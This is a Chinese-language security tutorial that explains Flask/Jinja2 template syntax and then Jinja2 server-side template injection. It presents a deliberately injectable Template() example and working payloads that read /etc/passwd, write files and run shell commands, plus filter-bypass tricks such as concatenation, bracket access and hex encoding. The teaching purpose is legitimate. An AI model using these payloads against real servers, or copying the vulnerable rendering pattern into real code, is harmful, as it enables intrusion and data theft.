0x01 模板引擎
模板引擎指将指定格式语句生成对应标准HTML文档的应用。模板引擎可以使系统界面和系统逻辑处理代码分离,实现更快的开发,更好的扩展和维护。常见的模板引擎如下图:

0x02 Jinja2模板引擎
JinJa2是基于python的被广泛使用的一个模板引擎,其拥有自己的语法和一系列强大的功能。著名的Flask框架就使用Jinja2作为模板引擎,一些知名网站如Mozilla、Instagram也使用了JinJa2模板引擎。
快速上手
1.首先需要安装flask库
pip install flask
2.写一段最简单的flask程序,代码逻辑见注释
from flask import Flask
#实例化Flask对象
app = Flask(__name__)
@app.route('/')
def index():
'''
网站主页,app.route('/')表示路由,此时还没有使用模板引擎,直接返回字符串
'''
return 'hello world'
# 运行Flask应用,可选择指定ip和端口
if __name__ == "__main__":
app.run()
3.flask默认端口为5000,将程序运行后,访问本机5000端口可以看到'hello world'字符串

4.接下来引用Jinja2模板引擎,代码如下
#导入Template
from jinja2 import Template
from flask import Flask,request
app = Flask(__name__)
@app.route("/")
def index():
#接收用户的get参数
name = request.args.get('name')
#将get参数name动态的显示在界面上
t = Template('hello '+ name)
#渲染模板,生成标准html代码
return t.render()
if __name__ == "__main__":
app.run()
5.此时访问页面,会发现网站已经动态的加载了我们请求的name参数

6.那么,最基本的Jinja2功能就实现了
Jinja2语法讲解
Jinja2的语法一共由三种类型,分别为:
- 变量显示:{{ }}
- 控制结构:{% %}
- 注释{# #}
01 变量显示
当网站后端需要动态渲染前端数据时,就需要使用变量显示语法。语法为:{{ 变量名 }}
,修改上述代码,使用变量显示语法来动态渲染请求的参数:
#导入Template
from jinja2 import Template
from flask import Flask,request
app = Flask(__name__)
@app.route("/")
def index():
# 接收用户的get参数
name = request.args.get('name')
# 将get参数name动态的显示在界面上,使用变量显示语法
t = Template('hello {{ name }}')
# 渲染模板,生成标准html代码
return t.render(name=name)
if __name__ == "__main__":
app.run()
访问网站,同样渲染成功

02 控制结构
Jinja2的控制语句支持使用for循环来遍历python的列表、元组、字典(Jinja2不支持while循环),语法为:
{% for 变量名 in 变量名 %}
…………
{% endfor %}
同时也支持if条件判断,语法为:
{%if 条件判断语句 %}
…………
{% elif 逻辑判断语句 %}
…………
{% else %}
…………
{% endif %}
首先贴出for语句示例:
# 导入Template
from jinja2 import Template
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
nameList = ["ichunqiu", "i春秋"]
# 使用for循环打印nameList
t = Template('hello {% for item in nameList %} <p>{{ item }}<p> {% endfor %}')
# 渲染模板,生成标准html代码
return t.render(nameList=nameList)
if __name__ == "__main__":
app.run()
可以看到,成功的把列表内的字符串都打印了出来:

再看看if的示例:
# 导入Template
from jinja2 import Template
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
# 接收用户的get参数
name = request.args.get('name')
# if语法示例
t = Template('hello {% if name == "ichunqiu" %} <p>flag:ichunqiu</p> {% endif %}')
# 渲染模板,生成标准html代码
return t.render(name=name)
if __name__ == "__main__":
app.run()
传入参数name=ichunqiu,成功打印出flag:

03 注释
注释较简单,语法为:{# 注释内容 #}
0x03 SSTI注入
SSTI注入的本质其实与其他注入攻击的本质是一样的,都是:网站过分信任用户的输入。若网站对用户输入不加控制,用户可通过变量显示语法和控制结构语法执行python指令,从而窃取敏感信息甚至getshell。
前置知识
在了解SSTI注入之前,我们仍需要学习一些前置知识。
先看python的几个内置函数:
__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量,与func_globals等价
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
那么,构造语句{{}.__class__
,就可以返回字符串' '的参数类型,就是dict类。
python获取基本类(Object)的几种方法:
//获取基本类 object
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[9] //在flask的jinja2模块渲染是可用
因为dict类的基类是基本类Object,那么,构造语句{}.__class__.__base__[0]
,即可获得基类Object。再构造Object.__subclasses__()
就可以获取所有的子类,我们可以从从子类中寻找可以利用的类。
获取子类的方法:
{}.__class__.__bases__[0].__subclasses__()
输出如下:
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class 'zipimport.zipimporter'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStreamReader'>, <class 'MultibyteStreamWriter'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>]
我们可以快速索引<type 'file'>
这个子类,用此类可以操作文件
{}.__class__.__bases__[0].__subclasses__().index(file)
若输出40,则使用Payload:''.__class__.__mro__[2].__subclasses__()[40]
就可以使用
读文件实例:
''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()
写文件实例:
''.__class__.__mro__[2].__subclasses__()[40]("/root/桌面/test.txt", "a").write("123")
命令执行
首先取到Object的所有子类,
''.__class__.__mro[2]__.__subclasses__()
取到<class '_sitebuiltins._Printer'>.__init__
的地址
' '.__class__.__mro__[2].__subclasses__()[119].__init__
获得<class '_sitebuiltins._Printer'>
类的所有的全局变量
' '.__class__.__mro__[2].__subclasses__()[119].__init__.__globals__
找到os类执行代码
' '.__class__.__mro__[2].__subclasses__()[119].__init__.__globals__['os'].system('ls')
下面提供两个好用的payload:
#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
warning类为python的报错类,我们从warnings.catchwarnings
类入手来找到eval模块或open模块。使用for循环遍历dict所有的子类,从子类中找到warnings.catchwarnings
类(此为报错类,一定会有)。之后使用__init__
实例化类,使用__globals__
返回全局变量的字典,从字典中取出builtins
类,再调用eval模块或open模块即可。builtins
类定义如下:
在我们使用python解释器时,builtins
类会在启动时自动帮我们导入一部分类,这样我们就可以无需import直接使用默认导入的类。
在IDLE中输出builtins,可以看到默认加载了eval类和open类。
常见过滤情况及应对
1.过滤关键词,如os、open、eval等
应对:使用符号+拼接被过滤关键词
实例:{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
关键词import过滤,用'imp'+'ort'这样的方式实现绕过
2.过滤符号'.'
应对:使用[]绕过
实例:[]['__class__']['__base__']['__subclasses__']()
3.过滤符号{{ 或 }}
应对:利用if语句进行盲注
实例:{% if ''.__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() == 'p' %}1{% endif %}
4.过滤符号+以及关键词
应对:对关键词进行16进制编码
实例:{{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("\x6f\x73")["\x70\x6f\x70\x65\x6e"]("ls")["\x72\x65\x61\x64"]()}}
0x04 总结
本文简单介绍的模板引擎的概念,Jinja2模板引擎的语法,以及SSTI注入的常规方法和绕过常见过滤的方法,内容较繁杂,需要好好消化理解。下一篇文章将实战CTF题目。
0x05 参考链接
百度百科 —— 模板引擎
Jinja2官方文档
builtins 与 builtin(builtins)